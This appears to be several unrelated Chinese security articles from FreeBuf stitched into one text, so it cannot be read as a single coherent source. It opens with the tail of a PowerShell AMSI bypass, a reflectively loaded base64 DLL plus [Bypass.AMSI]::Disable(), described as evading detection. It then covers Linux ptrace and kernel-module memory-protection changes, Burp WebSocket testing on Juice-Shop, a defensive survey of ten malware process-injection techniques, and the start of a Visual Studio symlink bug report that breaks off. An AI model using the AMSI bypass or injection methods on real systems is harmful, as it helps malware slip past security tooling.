AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==")) | Out-Null

        Write-Output "DLL has been reflected";

    }

    [Bypass.AMSI]::Disable()

}

这不会被检测,因为它根本不包含任何恶意内容。它只是将.NET程序加载到内存并执行代码。执行后,你就可以执行PowerShell任意代码。

效果见下图:

amsi_07.JPG

这种技术非常棒且非常有用,之前被AMSI阻止过的脚本,加上这样的方法即可解决。

*参考来源:zc00lcyberark,FB小编Covfefe编译,转载请注明来自FreeBuf.COM

前言

最近,我们遇到一个非常具体的问题:改变任意进程的内存区域的保护标志。这项任务看似微不足道,但是我们着实遇到了一些麻烦,在此过程中也学到了关于Linux机制和内核开发相关的东西。以下是一些简要概述,其中包括了当时采取的三种方案,每次也在寻求更好解决方案。

概述

在现代操作系统中,每个进程都有自己的虚拟地址空间(从虚拟地址映射到物理地址)。此虚拟地址空间由内存页(某些固定大小的连续内存块)组成,每个页都有保护标志,用于确定允许此页面访问的类型(读取,写入和执行)。这种机制依赖于架构页表(有趣的是,在x64架构中,你不能使页面只写(write-only),就算你特意从操作系统请求,它也总是可读的)。

在Windows中,你可以使用VirtualProtect或VirtualProtectEx这两个API更改内存区域的保护。后者让我们的任务变得非常简单:它的第一个参数hProcess是“要改变内存保护的进程的句柄”(参见MSDN)。

另一方面,在Linux中,我们并不那么幸运:更改内存保护的API是系统调用mprotect或pkey_mprotect,并且两者始终在当前进程的地址空间上运行。 我们现在回顾一下在x64架构上的Linux中解决此任务的方法(我们假设是root权限)。

而在Linux中,我们就没那么幸运了,更改内存保护的API是系统调用(mprotect或pkey_mprotect),并且两者始终在当前进程的地址空间上运行。所以现在我们来回顾一下在Linux x64架构上解决此问题的方法(假设是root权限)。

方案一:代码注入

如果mprotect总是作用于当前进程,那么我们就需要让目标进程从它自己的上下文中调用它。这称为代码注入,可以通过许多不同的方式实现。我们选择使用ptrace机制实现它,其允许一个进程“观察并控制另一个进程的执行”(参见手册),包括更改目标进程的内存的能力。此机制用于调试器(如gdb)和跟踪程序(如strace)。使用ptrace注入代码所需的步骤如下:

1. 通过ptrace附加到目标进程。如果进程中有多个线程,那就终止所有其他线程

2. 找到可执行内存区域(通过检查/proc/PID/maps)并在那里写操作码(hex:0f 05)

3.根据调用约定修改寄存器:首先将rax更改为mprotect的系统调用号(即10)。然后三个参数(起始地址,长度和所需的保护)分别存储在rdi,rsi和rdx中。最后,将rip更改为步骤2中使用的地址

4. 恢复进程直到系统调用返回(ptrace允许你跟踪系统调用的进入和退出)

5. 恢复被覆盖的内存和寄存器,从进程中分离并恢复正常执行

这种方法是第一个也是最直观的方法,但是我们之后发现Linux中的另一种叫seccomp的机制会工作得更好。它是Linux内核中的一个安全工具,允许进程自己进入某种封闭状态,除了read,write,_exit和sigreturn之外,它不能调用任何系统调用。不过也可以选择任意系统调用及其参数来仅仅过滤指定的系统调用。

因此,如果进程启用了seccomp模式并且我们尝试将mprotect调用到其中,那么内核将终止进程,因为不允许此系统调用。所以我们要寻求更好的解决方案……

方案二:模仿内核模块中的mprotect

由于seccomp,用户态中每个解决方案都不可行,因此下一个方法肯定存在于内核态中。在Linux内核中,每个线程(用户线程和内核线程)都由名为task_struct的结构表示,并且当前线程(任务)可通过指针访问。内核中mprotect的内部实现使用指针current,所以我们首先想到的是将mprotect的代码复制粘贴到我们的内核模块,并用指向目标线程的task_struct的指针替换每次出现的current。

可能你已经猜到了,复制C代码并不是那么简单,其中有大量我们无法访问的,未导出的函数,变量和宏。某些函数声明在头文件中导出,但内核不会导出它们的实际地址。如果内核是由kallsyms支持编译的,那么这个特定的问题就可以解决,然后通过文件/proc/kallsysm导出所有内部符号。

尽管存在这些问题,我们仍以mprotect的本质进行尝试,甚至仅用于教育目的。因此,我们开始编写一个内核模块,它获取mprotect目标PID和参数,并模仿其行为。首先,我们需要获取所需的内存映射对象,它表示线程的地址空间:

/* 通过PID寻找任务 */

    pid_struct = find_get_pid(params.pid);

    if (!pid_struct)

        return -ESRCH;

    task = get_pid_task(pid_struct, PIDTYPE_PID);

    if (!task) {

        ret = -ESRCH;

        goto out;

    }

    /* Get the mm of the task */

    mm = get_task_mm(task);

    if (!mm) {

        ret = -ESRCH;

        goto out;

    }

    …

    …

out:

    if (mm) mmput(mm);

    if (task) put_task_struct(task);

    if (pid_struct) put_pid(pid_struct);

现在我们有了内存映射对象,就需要深入挖掘。Linux内核实现了一个抽象层来管理内存区域,每个区域由结构vm_area_struct表示。为了找到正确的内存区域,我们使用函数find_vma,它通过所需的地址搜索内存映射。

vm_area_struct包含字段vm_flags,其以与结构无关的方式表示存储器区域的保护标志,vm_page_prot以体系结构相关的方式表示。单独更改这些字段不会真正地影响页表(但会影响proc/PID/maps的输出,我们已经尝试过)。 你可以点击这里获取更多内容。

在深入研究内核代码之后,我们发现了真正改变内存区域保护所需的最基本工作:

1. 将字段vm_flags更改为所需的保护

2. 调用函数vma_set_page_prot_func来根据vm_flags字段更新vm_page_prot

3. 调用函数change_protection_func更新页表中的保护位。

这段代码虽然有效,但它有很多问题,首先,我们只实现了mprotect的基本部分,但原始函数比我们做的要多得多(例如通过保护标志分割和连接内存区域)。其次,我们使用两个内核函数,这些函数不是由内核导出的(vma_set_page_prot_func和change_protection_func)。我们可以使用kallsyms来调用它们,但是这很容易出问题(将来可能会更改它们的名称,或者会改变内存区域的整个内部实现)。所以我们想要一个更通用的解决方案,不考虑内部结构。

方案三:使用目标进程的内存映射

这种方法与第一种方法非常相似,因为我们希望在目标进程的上下文中执行代码。但在这里,我们会用自己的线程中执行代码,同时使用目标进程的“内存上下文”,这意味着:我们会使用其地址空间。

通过几个API可以在内核态下更改地址空间,我们使用了use_mm。如文档明确指出的那样,“此例程仅用于从内核线程上下文中调用”。这些是在内核中创建的线程,不需要任何用户地址空间,因此可以更改其地址空间(地址空间内的内核区域在每个任务中以相同的方式映射)。

在内核线程中运行代码有一种简单方法,就是内核的工作队列接口,它允许你使用特定例程和特定参数来安排工作。我们的例程获取所需进程的内存映射对象和mprotect的参数,并执行以下操作(do_mprotect_pkey是内核中实现mprotect和pkey_mprotect系统调用的内部函数):

use_mm(suprotect_work->mm);

suprotect_work->ret_value = do_mprotect_pkey(suprotect_work->start,

                                             suprotect_work->len,

                                             suprotect_work->prot, -1);

unuse_mm(suprotect_work->mm);

当我们的内核模块在某个进程(通过一个特殊的IOCTL)获得更改保护的请求时,它首先找到所需的内存映射对象,然后使用正确的参数来调度工作。这个方案仍有一个小问题:函数do_mprotect_pkey_func不由内核导出,需要使用kallsyms获取。与前一个解决方案不同,这个内部函数不太容易发生变化,因为它与系统调用pkey_mprotect有关,而且我们无需处理内部结构。

如果你有兴趣,可以在github中找到这个PoC内核模块的源代码。

*参考来源:perception-point,FB小编Covfefe编译,转载请注明来自FreeBuf.com

Websocket简介

WebSocket是一种允许浏览器和服务器建立单个TCP连接然后进行全双工异步通信的技术。由于它允许实时更新,而浏览器也无需向后台发送数百个新的HTTP polling请求,所以对于web程序来说,WebSocket非常流行。这对于测试者来说是不好的,因为对WebSocket工具的支持不像HTTP那样普遍,有时候会更加复杂。

除了BurpSuite之外,还有一些其他工具可用于处理WebSocket。不过经过测试,它们都不怎么理想。

Zed Attack Proxy (ZAP)

Pappy Proxy

Man-in-the-Middle Proxy (mitmproxy)

WebSocket/Socket.io (WSSiP)

如果你对使用Websocket进行渗透测试感兴趣,那么可以查看这篇文章:

https://www.blackhillsinfosec.com/command-and-control-with-websockets-wsc2/

而在这篇文章中主要会讲socket.io,它是一个很流行的JavaScript WebSockets库。在GitHub上它有多流行呢?—已经有超过41.4的star了。

1.jpg

在NPM上,它在WebSocket中排行第二和第三。

2.jpg

另外,OWASP Juice-Shop这样非常棒的项目也使用了socket.io库,所以本篇文章中将使用websocket.io进行演示。

https://github.com/bkimminich/juice-shop/search?utf8=%E2%9C%93&q=socket.io&type=

在本文中,我们假设你已经熟悉使用BurpSuite测试Web应用程序,所涵盖的所有内容都可以在其社区版本中完成。不用多说,现在开始吧。

如果我们在浏览器中访问Juice-Shop,则可以在后台快速查看WebSocket流量。你也可以在BurpSuite中通过Proxy-> WebSockets历史记录找到。

由于协议的无状态特性,HTTP需要始终发送请求/响应对,而WebSocket是一种有状态协议。这意味着你可以从服务器获得任意数量的传出“请求”和任意数量的传入“响应”。由于底层连接是保持打开的TCP,因此客户端和服务器可以随时发送消息而无需等待对方。这就是为什么WebSocket历史记录与你习惯查看的HTTP历史记录存在差异。

3.jpg

在此界面中,你可以看到发送和接收的单字节消息。但是,当应用程序执行一些有趣的操作时,你就可以看到具有更大负载的消息。

4.jpg

BurpSuite具有测试WebSockets的能力,你可以实时进行拦截和修改,但WebSocket没有Repeater,Scanner或Intruder功能。默认情况下,如果要在BurpSuite中启用WebSocket拦截,你只需要打开主拦截就好了。

5.jpg

6.jpg

这样一来,你就可以通过与HTTP相同的方式获取所截获的WebSocket消息。同时也可以在拦截窗口中编辑它们。

7.jpg

在WebSockets历史记录选项卡中可以查看已编辑的消息。

8.jpg

将WebSocket降级为HTTP

方法一:使用Socket.io的HTTP回退机制

一个非常奇怪的点是,有时在HTTP历史记录中也能看到类似Websocket历史记录中的消息,回想一下,这些比较有趣的WebSocket消息需要解决记分板相关问题,下图显示了来自服务器的相同响应,但这次是在HTTP历史记录中。由此可以看出socket.io能够通过WebSocket或HTTP发送消息。

9.jpg

在所观察的请求中,传递的参数值有些为“websockets”,而有些则是“polling”。那么据推测,可能为了防止WebSockets在应用程序中不受支持或被阻止,才允许使用HTTP。

socket.io文档中解释了“polling”和“websockets”如何作为两个默认传输选项。它还介绍了如何通过将WebSockets指定为唯一传输方式来禁用polling。我认为反过来也是如此,我可以指定polling作为唯一的传输机制。

https://socket.io/docs/client-api/#with-WebSocket-transport-only

通过搜索socket.io.js源代码,我找到了以下内容:

this.transports=n.transports||["polling","WebSocket"]

10.jpg

这行代码会将一个名为transports的内部变量设置为传入的值,如果传入的值为false/empty,则为默认的[“polling”,“websocket”]。这很符合我们对polling和WebSocket的默认传输的推测。现在通过Burp中的Proxy->Options下设置匹配并替换规则来更改这些默认值,看看会发生什么。

11.jpg

成功了!添加规则后,刷新页面(需要启用Burp的内置规则“Require non-cached response”或执行强制刷新),数据不再通过WebSockets进行通信。进展不小,但是如果使用的应用程序已经提供了优先于我们的新默认值的传输选项呢?在这种情况下,我们可以修改匹配和替换规则。以下规则应适用于socket.io库的不同版本,并忽略应用程序开发人员所指定的任何传输方式。

12.jpg

以下是要使用的字符串,务必将其设置为正则表达式匹配:

this\.transports=.*?\.transports\|\|\["polling","websocket"]

this.transports=["polling"]

方法二:中止Websocket升级

方法一只能用于于socket.io,可能会扩展到其他客户端库。但是,以下方法应该更加通用,因为它以WebSockets协议本身为目标。

经过分析,我发现WebSockets首先通过HTTP进行通信,以便与服务器协商并“升级”为WebSocket。其中重要的部分是:

1)客户端通过一些WebSocket特定header发送升级请求。

13.jpg

2)服务器响应状态码为101 Switching Protocols,以及WebSocket header。

14.jpg

3)通信转换到WebSocket,此特定会话不再使用HTTP。

WebSockets RFC文档第4.1节提供了有关如何中断此工作流的各种信息,以下是https://tools.ietf.org/html/rfc6455#section-4.1的摘录,并附加了观点。

1.如果从服务器收到的状态码不是101,则客户端响应HTTP[RFC2616]。特别情况下,收到401状态码时,客户端可能会执行身份验证;服务器也可能会通过3xx状态码重定向客户端(但客户不需要遵循)等。否则按以下步骤进行。

2.如果响应缺少Upgrade header,或Upgrade header包含的值与“WebSocket”的ASCII不匹配,则客户端必须关闭WebSocket连接。

3.如果响应缺少Connection header,或Connection header包含的值与“WebSocket”的ASCII不匹配,则客户端必须关闭WebSocket连接。

4.如果响应缺少Sec-WebSocket-Accept header,或Sec-WebSocket-Accept header的值并非是由Sec-WebSocket-Key(作为字符串,未经base64解码)与字符串”258EAFA5-E914-47DA-95CA-C5AB0DC85B11″串联起来的字符串(忽略任何前导和尾随空格)的base64编码后的SHA-1值的话,则客户端必须关闭WebSocket连接。

5.如果响应中包括Sec-WebSocket-Extensions header,并且header要求使用的扩展并没有出现在客户端的握手消息中(服务器指示的扩展并非是客户端所请求的),则客户端必须关闭WebSocket连接。(解析header以确定请求哪些扩展的问题,将在第9.1节中讨论)

考虑到这些“连接必定被关闭”的条件,我想出了以下一套替换规则,这些规则应该包含了所有五个的失败条件。

15.jpg

一旦使用这些规则,所有WebSocket升级请求都会失败。由于socket.io默认情况下无法使用HTTP,因此已经达到所需的效果。其他库的表现可能不同,并导致你正在测试的应用程序出错。但我们的工作就是让软件做一些不应该做的事情!

16.jpg

原始响应看起来像这样,并且会使客户端和服务器转换到WebSocket进行通信。

17.jpg

相反,客户端从服务器收到此修改后的响应,会关闭WebSocket连接。

18.jpg

我在测试中遇到的一件事是,在将这些匹配和替换规则加入后,客户端在重试WebSocket连接时非常持久,并在我的HTTP历史记录中引起了大量不必要的流量。如果你正在处理socket.io库,则最简单的方法是使用上面的方法1。如果你有不同的库或其他情况,则可能需要添加更多规则来使客户端服务器不支持WebSocket。

将Burp Repeater作为Socket.io客户端

由于我们强制通过HTTP而非WebSockets进行通信,所以现在可以添加自定义匹配并替换将应用于已经通过WebSockets流量的规则!接下来,可以使用Repeater,Intruder和Scanner等工具,这些更改将特定于socket.io库。不过现在还有两个问题:

1.每个请求都有一个会话号,任何无效请求都将导致服务器终止该会话

2.每个请求的主体都有一个计算字段,表示消息的长度。如果这不正确,服务器会将其视为无效请求并终止会话。

以下是应用程序中使用的几个示例URL。

/socket.io/?EIO=3&transport=polling&t=MJJR2dr

/socket.io/?EIO=3&transport=polling&t=MJJZbUa&sid=iUTykeQQumxFJgEJAABL

URL中的“sid”参数表示到服务器的单个连接流。如果发送了无效消息(在尝试破解时很常见),那么服务器将关闭整个会话,之后必须重新开始新会话。

给定请求的主体中含有一个字段,其中存放有效载荷的字节数。这类似于“Content-Length”HTTP header,只不过该字段的值近针对socket.io。例如,如果你要发送的有效载荷是“hello”,那么,相应的主体将是“5:hello”,Content-Length头部的值是7。其中,5表示字符串“hello”中的字母数量,而7则表示字符串“hello”中的字母数量以及socket.io添加到主体内的字符串“5:”中的字母数量之和。与往常一样,Burp将替我们更新Content-Length头部,因此,这件事情我们无需担心。但是,我还没有找到能够自动计算和包含有效载荷长度的好方法。更让人头疼的是,我发现socket.io竟然会在同一个HTTP请求中发送多条消息。由于每个消息都是一个封装后的WebSocket有效载荷,并且每个消息都有自己的长度,因此,最终看起来就像这样:“5:hello,4:john,3:doe”(实际的语法可能有所不同,这里只是便于演示)。计算长度时一旦出错,服务器就会将其作为无效消息拒绝,这样,我们就要重新开始了。

这是body的示例。这是Juice-Shop应用程序中的响应,请求的格式相同。注意,这里的“215”表示“:”之后的有效载荷的长度。

215:42[“challenge solved”,{“key”:”zeroStarsChallenge”,”name”:”Zero Stars”,”challenge”:”Zero Stars (Give a devastating zero-star feedback to the store.)”,”flag”:”e958569c4a12e3b97f38bd05cac3f0e5a1b17142″,”hidden”:false}]

使用Burp宏能解决第一个问题。基本上,每次Burp在服务器拒绝消息时匹配,宏将自动建立新会话并用有效的“sid”更新原始请求。通过转到options->Sessions->Macros->Add来创建新宏。

建立新会话的URL只需省略“sid”参数。例如:

/socket.io/?EIO=3&transport=polling&t=MJJJ4Ku

19.jpg

服务器响应包含一个全新的“sid”值以供使用。

20.jpg

接下来,单击“Configure item”按钮,并将参数名称命名为“sid”。然后,选择“Extract from regex group”选项,并使用如下所示的正则表达式。

"sid"\:"(.*?)"

21.jpg

这时,配置窗口应如下所示:

22.jpg

会话处理规则

现在有了一个宏,我们需要一种方法来触发它。这就是Burp会话处理规则的用武之地。通过

Project options->Sessions->Session Handling Rules->Add

为“Check session is valid”创建新的规则动作:

23.jpg

配置新规则操作如下:

24.jpg

25.jpg

按如下方式配blackhillsinfosec置新规则操作:最后,在完成新规则操作后,还需修改规则的范围。你可以在此处决定要应用此规则的位置。建议至少将它用于Repeater,这样就可以手动重复请求。

26.jpg

以下是我配置范围规则的方法。你可以更加具体地了解自己所需范围,但下面的选项应该适用于大多数情况。

27.jpg

这是在没有会话处理规则的情况下发出的请求:

28.jpg

这里是在会话处理规则生效后发出的相同请求:

29.jpg

*参考来源:blackhillsinfosec,FB小编Covfefe编译,转载请注明来自FreeBuf.COM

前言

进程注入是一种广泛使用的躲避检测的技术,通常用于恶意软件或者无文件技术。其需要在另一个进程的地址空间内运行特制代码,进程注入改善了不可见性,同时一些技术也实现了持久性。尽管目前有许多进程注入技术,但在这篇文章中,我将会介绍十种在野发现的,在另一个程序的地址空间执行恶意代码的进程注入技术,并提供这些技术应用的截图,以便于逆向工程和恶意软件分析,然后协助检测并防御这些进程注入技术。

技术应用

一、通过CREATEREMOTETHREAD和LOADLIBRARY进行经典DLL注入

该技术是用于将恶意软件代码注入另一个进程最常用技术之一,恶意软件作者将恶意的动态链接库(DLL)的路径写入另一个进程的虚拟地址空间,并通过在目标进程中创建一个远程线程来确保目标进程加载它。

通过CREATEREMOTETHREAD和LOADLIBRARY进行经典DLL注入

恶意软件首先需要选择被注入的目标进程(例如svchost.exe),这通常可以通过调用三个应用编程接口(API)搜索进程来完成:CreateToolhelp32Snapshot,Process32First和Process32Next。CreateToolhelp32Snapshot是用于枚举指定进程或所有进程的堆或模块状态的API,其会返回一个快照。Process32First会检索有关快照中第一个进程的信息,然后通过循环Process32Next来迭代。找到目标进程后,恶意软件通过调用OpenProcess获取目标进程的句柄。

如图一所示,恶意软件调用VirtualAllocEx来获得写入其DLL路径的空间。然后恶意软件调用WriteProcessMemory在已分配的内存中写入路径。最后,为了让代码在另一个进程中执行,恶意软件作者会调用API,例如CreateRemoteThread,NtCreateThreadEx或RtlCreateUserThread。后两个并未存在应用记录,但是一般的想法就是将LoadLibrary的地址传递给其中一个API,以便远程进程不得不代表恶意软件执行DLL。

很多杀毒软件都会追踪和标记CreateRemoteThread,此外,注入也需要磁盘上存在恶意DLL。但这是可以被检测到的。考虑到攻击者最常通过注入代码以逃避检测,所以一些老练的攻击者可能并不会使用这种方法。下面的截图展示了一个叫Rebhip的恶意软件应用了此技术。

Rebhip

二、PORTABLE EXECUTABLE注入(PE注入)

这种技术斌没有传递LoadLibrary的地址,而是将其恶意代码复制到已存在的开放进程并执行(通过shellcode或调用CreateRemoteThread)。PE注入相对于LoadLibrary注入的一个优点是恶意软件不必在磁盘上放一个恶意DLL。与第一种技术类似,恶意软件在宿主进程中分配到内存,其并没有编写“DLL路径”,而是通过调用WriteProcessMemory来编写其恶意代码。然而,这种方法的一个缺陷是目标基址的改变,当恶意软件将其PE注入到另一个进程时,其会有一个新的不可预测的基址,这就要求其动态地重新计算PE的地址。为了解决这个问题,恶意软件需要在宿主进程中找到其重定位表地址,并通过循环其重定位描述符来解析绝对地址。

PE注入

此技术类似于其他技术,例如反射式DLL,因为它们不会将任何文件放在磁盘,但是,反射式DLL注入方法甚至会更加隐蔽。它们不依赖于任何额外的Windows API(例如CreateRemoteThread或LoadLibrary),因为它们在内存中加载和执行自己。反射式DLL注入通过创建一个DLL来实现,该DLL在执行时将自身映射到内存,而不是依赖于Windows的loader。

在分析PE注入时,调用CreateRemoteThread之前通常会看到循环(通常是两个“for”循环,一个嵌套在另一个中)这种技术在crypter(加密和混淆恶意软件的软件)中非常流行。在图二中,样本的单元测试中正在利用这种技术。代码有两个嵌套循环来调整其重定位表,可以在调用WriteProcessMemory和CreateRemoteThread之前看到它。“AND 0x0fff”指令是另一个好指示,表明前12位用于获取包含重定位块的虚拟地址的偏移量。既然恶意软件已经重新计算了所有必要的地址,那么它需要做的只是将其起始地址传递给CreateRemoteThread并让它执行。

传递给CreateRemoteThread并让它执行

三、PROCESS HOLLOWING技术(又名 PROCESS REPLACEMENT AND RUNPE)

恶意软件可以不用将代码注入宿主程序,而是利用Process Hollowing技术。当恶意软件从目标进程中取消映射,并使用恶意可执行文件覆盖目标进程的内存空间时,会发生Process Hollowing。

ROCESS HOLLOWING技术

恶意软件首先会创建一个新进程,以挂起模式托管恶意代码,如图三所示,这是通过调用CreateProcess并将Process Creation Flag设置为CREATE_SUSPENDED(0×00000004)来完成的。新进程的主线程是在挂起状态下创建的,并且在调用ResumeThread函数之前不会执行。接下来,恶意软件需要使用恶意载荷交换合法文件的内容,这是通过调用ZwUnmapViewOfSection或NtUnmapViewOfSection来取消映射目标进程的内存完成的。这两个API基本上释放了一个区的所有内存。现在内存处于未映射状态,loader执行V​​irtualAllocEx为恶意软件分配新内存,并使用WriteProcessMemory将每个恶意软件的部分写入目标进程空间。而恶意软件通过调用SetThreadContext将入口点指向它已编写的新代码段。最后,恶意软件通过调用ResumeThread恢复挂起的线程,使进程退出挂起状态。

用ResumeThread

四、线程执行劫持技术(或者说SUSPEND, INJECT, AND RESUME (SIR))

该技术与先前讨论的Process Hollowing技术有一些相似之处。在线程执行劫持中,恶意软件以进程的现有线程为目标,并避免任何其他的进程或线程创建操作。因此,在分析期间,你可能会看到对CreateToolhelp32Snapshot和Thread32First的调用,然后是OpenThread。

线程执行劫持技术

获取目标线程的句柄后,恶意软件通过调用SuspandThread来挂起这个线程,然后调用VirtualAllocEx和WriteProcessMemory来分配内存并执行代码注入。代码可以包含shellcode,恶意DLL的路径以及LoadLibrary的地址。

图4展示了使用这种技术的通用木马。为了劫持线程的执行,恶意软件通过调用SetThreadContext来修改目标线程的EIP寄存器(包含下一条指令的地址的寄存器)。之后,恶意软件恢复线程来执行它已写入主机进程的shellcode。从攻击者的角度来看,SIR方法可能会出问题,因为在系统调用过程中挂起和恢复线程会导致系统崩溃。为了避免这种情况,如果EIP寄存器在NTDLL.dll范围内,复杂一点的恶意软件会稍后重新尝试。

稍后重新尝试

五、通过SETWINDOWSHOOKEX进行HOOK注入

HOOK是一种拦截函数调用的技术,恶意软件可以利用HOOK的功能在特定线程中触发事件时加载其恶意DLL。这通常通过调用SetWindowsHookEx将hook routine安装到HOOK链中来完成。SetWindowsHookEx函数有四个参数。第一个参数是事件的类型。事件反映了HOOK类型的范围,从键盘上的按键(WH_KEYBOARD)到鼠标输入(WH_MOUSE),CBT等等。第二个参数是指向恶意软件想要在事件上调用的函数的指针。第三个参数是包含该函数的模块。因此,在调用SetWindowsHookEx之前,通常会看到对LoadLibrary和GetProcAddress的调用。此函数的最后一个参数是与HOOK过程相关联的线程。如果此值设置为零,则所有线程都会在触发事件时执行操作。但是,恶意软件通常针对一个线程以降低噪声,因此在SetWindowsHookEx之前也可以看到调用CreateToolhelp32Snapshot和Thread32Next来查找和定位单个线程。注入DLL后,恶意软件代表其threadId传递给SetWindowsHookEx函数的进程执行其恶意代码。在图5中,Locky Ransomware实现了这种技术。

Locky Ransomware

六、通过修改注册表实现注入和持久性

Appinit_DLL,AppCertDlls和IFEO(映像文件执行选项)都是恶意软件用于注入和持久性的注册表项。条目位于以下位置:

   HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\Appinit_Dlls

   HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows\Appinit_Dlls

   HKLM\System\CurrentControlSet\Control\Session Manager\AppCertDlls

   HKLM\Software\Microsoft\Windows NT\currentversion\image file execution options

AppInit_DLLs

恶意软件可以在Appinit_Dlls注册表项下插入其恶意库的位置,以使另一个进程加载其库。此注册表项下的每个库都会加载到每个加载User32.dll的进程中。User32.dll是一个非常常见的库,用于存储对话框等图形元素。因此,当恶意软件修改此子键时,大多数进程将加载恶意库。图6展示了Ginwui依赖这种注入和持久性方法的木马。它只是通过调用RegCreateKeyEx打开Appinit_Dlls注册表项,并通过调用RegSetValueEx来修改其值。

AppInit_DLLs

AppCertDlls

此方法与AppInit_DLLs方法非常相似,只是此注册表项下的DLL被加载到调用Win32 API函数CreateProcess,CreateProcessAsUser,CreateProcessWithLogonW,CreateProcessWithTokenW和WinExec的每个进程中。

映像文件执行选项(IFEO)

IFEO通常用于调试目的。开发人员可以在此注册表项下设置“调试器值”,以将程序附加到另一个可执行文件以进行调试。因此,每当启动可执行文件时,会启动附加到它的程序。要使用此功能,你只需提供调试器的路径,并将其附加到要分析的可执行文件。恶意软件可以修改此注册表项以将其自身注入目标可执行文件。在图7中,Diztakun木马通过修改任务管理器的调试器值来实现此技术。

映像文件执行选项(

七、APC注入和ATOMBOMBING

恶意软件可以利用异步过程调用(APC)通过将其附加到目标线程的APC队列来强制另一个线程执行其特制代码。每个线程都有一个APC队列,它们等待目标线程进入可变状态时执行。如果线程调用SleepEx,SignalObjectAndWait,MsgWaitForMultipleObjectsEx,WaitForMultipleObjectsEx或WaitForSingleObjectEx函数,则线程进入可更改状态。恶意软件通常会查找处于可更改状态的任何线程,然后调用OpenThread和QueueUserAPC将APC排入线程。 QueueUserAPC有三个参数:

1)目标线程的句柄; 

2)指向恶意软件想要运行的功能的指针;

3)传递给函数指针的参数。 

在图8中,Amanahe恶意软件首先调用OpenThread来获取另一个线程的句柄,然后通过LoadLibraryA调用QueueUserAPC作为函数指针,将其恶意DLL注入另一个线程。

APC注入和ATOMBOMBING

AtomBombing是一项由enSilo研究首次引入的技术,然后用于Dridex V4。 正如我们在前一篇文章中详细讨论的那样,该技术也依赖于APC注入。 但是,它使用原子表写入另一个进程的内存。

八、通过SETWINDOWLONG进行附加窗口内存注入(EWMI)

EWMI依赖于注入资源管理器托盘窗口的额外窗口内存,并且已经在Gapz和PowerLoader等恶意软件系列中应用过几次。注册窗口类时,应用程序可以指定一些额外的内存字节,称为额外窗口内存(EWM)。但是,EWM的空间不大。为了规避此限制,恶意软件将代码写入explorer.exe的共享部分,并使用SetWindowLong和SendNotifyMessage使用指向shellcode的函数指针,然后执行它。

在写入共享部分时,恶意软件有两种选择。它既可以创建共享空间,也可以将其映射到自身和另一个进程(例如explorer.exe),也可以只打开已存在的共享空间。除了一些其他API调用之外,前者还有分配堆空间和调用NTMapViewOfSection的开销,因此后一种方法更常用。在恶意软件将其shellcode写入共享部分后,它使用GetWindowLong和SetWindowLong来访问和修改“Shell_TrayWnd”的额外窗口内存。GetWindowLong是一个API,用于将指定偏移量的32位值检索到窗口类对象的额外窗口内存中,SetWindowLong用于更改指定偏移量的值。这样一来,恶意软件可以简单地更改窗口类中的函数指针的偏移量,并将其指向写入共享部分的shellcode。

与上面提到的大多数其他技术一样,恶意软件需要触发它特制的代码。在先前讨论的技术中,恶意软件通过调用诸如CreateRemoteThread,QueueUserAPC或SetThreadContext之类的API来实现此目的。使用此方法,恶意软件会通过调用SendNotifyMessage来触发注入的代码。执行SendNotifyMessage后,Shell_TrayWnd接收控制并将控制转移到之前由SetWindowLong设置的值指向的地址。在图9中,名为PowerLoader的恶意软件使用此技术。

EWMI

九、SHIMS注入

Microsoft向开发人员提供SHIMS主要是为了向后兼容。SHIMS允许开发人员将修补程序应用于他们的程序,而无需重写代码。通过利用SHIMS,开发人员可以告诉操作系统如何处理应用程序。SHIMS本质上是一种挂钩API并定位特定可执行文件的方法。恶意软件可以利用SHIMS来定位持久性和注入的可执行文件。Windows在加载二进制文件时运行Shim Engine以检查SHIMS数据库以应用适当的修复程序。

现在有许多方法应用修复程序,但恶意软件的最爱是与安全相关的(例如,DisableNX,DisableSEH,InjectDLL等)。要安装填充数据库,恶意软件可以部署各种方法。例如,一种常见的方法是简单地执行sdbinst.exe,并将其指向恶意sdb文件。在图10中,广告软件“按导管搜索保护”使用垫片进行持久性和注入。它在Google Chrome中执行“InjectDLL”填充程序以加载vc32loader.dll。有一些用于分析sdb文件的现有工具,但是为了分析下面列出的sdb,我使用了python-sdb。

SHIMS注入

十、IAT HOOKING和INLINE HOOKING (或者叫应用层ROOTKITS)

IAT hooking和inline hooking通常称为userland rootkit。IAT hooking是恶意软件用于更改导入地址表的技术。当合法应用程序调用位于DLL中的API时,其会执行替换的函数,而不是原始函数。相反,使用inline hooking,恶意软件则会修改API函数本身。在图11中,恶意软件FinFisher通过修改CreateWindowEx指向的位置来执行IAT hooking。

ROOTKITS

总结

在这篇文章中,我介绍了恶意软件用于在另一个进程中隐藏其活动的十种不同技术。通常,恶意软件会直接将其shellcode注入另一个进程,或者强制另一个进程加载其恶意库。在表1中,我对各种技术进行了分类,并提供了样本作为阅读本文所涵盖的每种注入技术的参考。

注入技术的参考*参考来源:endgame,FB小编Covfefe编译,转载请注明来自FreeBuf.COM

如果你对寻找bug的过程不感兴趣,或者是“太长不看”那种,那么ATREDIS-2018-0004是个不错的选择,而且这里还有一个概念性证明(PoC)

Process Monitor已经是我研究和开发时最喜欢的一个工具。在开发安全工具时,我频繁地用它来监视工具如何与Windows交互,以及它们是如何被检测到的。今年早些时候,我在Visual Studio中调试一段代码并用Procmon监视时注意到一些有趣的行为。一般来说,我会为Visual Studio设置过滤以减少干扰。但在设置过滤之前,我注意到一个SYSTEM进程写入用户拥有的目录:

1.png

StandardCollector.Service.exe 写入用户临时文件夹

当拥有权限的服务写入用户拥有的资源时,可能会产生符号链接(symlink)攻击向量的可能性,为了确定如何直接影响服务的行为,我通过查看服务加载的库开始研究Standard Collector服务:

2.png

Visual Studio DLLs被StandardCollector.Service.exe加载

